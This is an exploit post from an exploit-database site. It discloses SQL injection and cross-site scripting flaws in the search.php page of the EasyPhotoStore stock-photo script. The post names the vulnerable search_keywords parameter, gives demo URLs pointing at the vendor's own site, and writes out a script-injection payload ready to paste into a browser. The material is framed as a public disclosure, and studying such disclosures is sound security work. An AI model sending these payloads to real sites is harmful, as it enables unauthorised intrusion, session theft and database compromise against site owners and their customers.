EasyPhotoStore Xss / Sql Injection Vulnerability

2010-06-0700:00:00
Sid3^effects
0day.today
JSON
Exploit for php platform in category web applications
================================================
EasyPhotoStore Xss / Sql Injection Vulnerability
================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : EasyPhotoStore SQLi and XSS vulnerability
Date : june, 7 2010
Author : Sid3^effects <shell_c99[at]yahoo.com>
vendor url : http://www.easyphotostore.com/
special thanks to : r0073r (inj3ct0r.com),*L0rd Ð³rusAdÐ™r*,MaYur,LiquidWorm,gunslinger_
greetz to : [email protected],dec0d3r,41.w4r10r and all ICW members.

###############################################################################################################
Description:

EasyPhotoStore provides you with all features you need to setup your own ecommerce stock photo website on your own domain name. Our support team will install the script on your server and then you can start selling at ease.

##############################################################################################################

Xploit : sqli Vulnerability

demo url:http://www.easyphotostore.com/demo/search.php?search_keywords=[Sqli]

##############################################################################################################

Xploit : XSS Vulnerability

 Parameter Name: search
 Parameter Type: Querystring
 Attack Pattern: '"--><script>alert(0x000872)</script>

demo url:http://www.easyphotostore.com/demo/search.php?search_keywords='"--><script>alert(0x000872)</script>

##############################################################################################################
#Sid3^effects



#  0day.today [2018-02-06]  #
JSON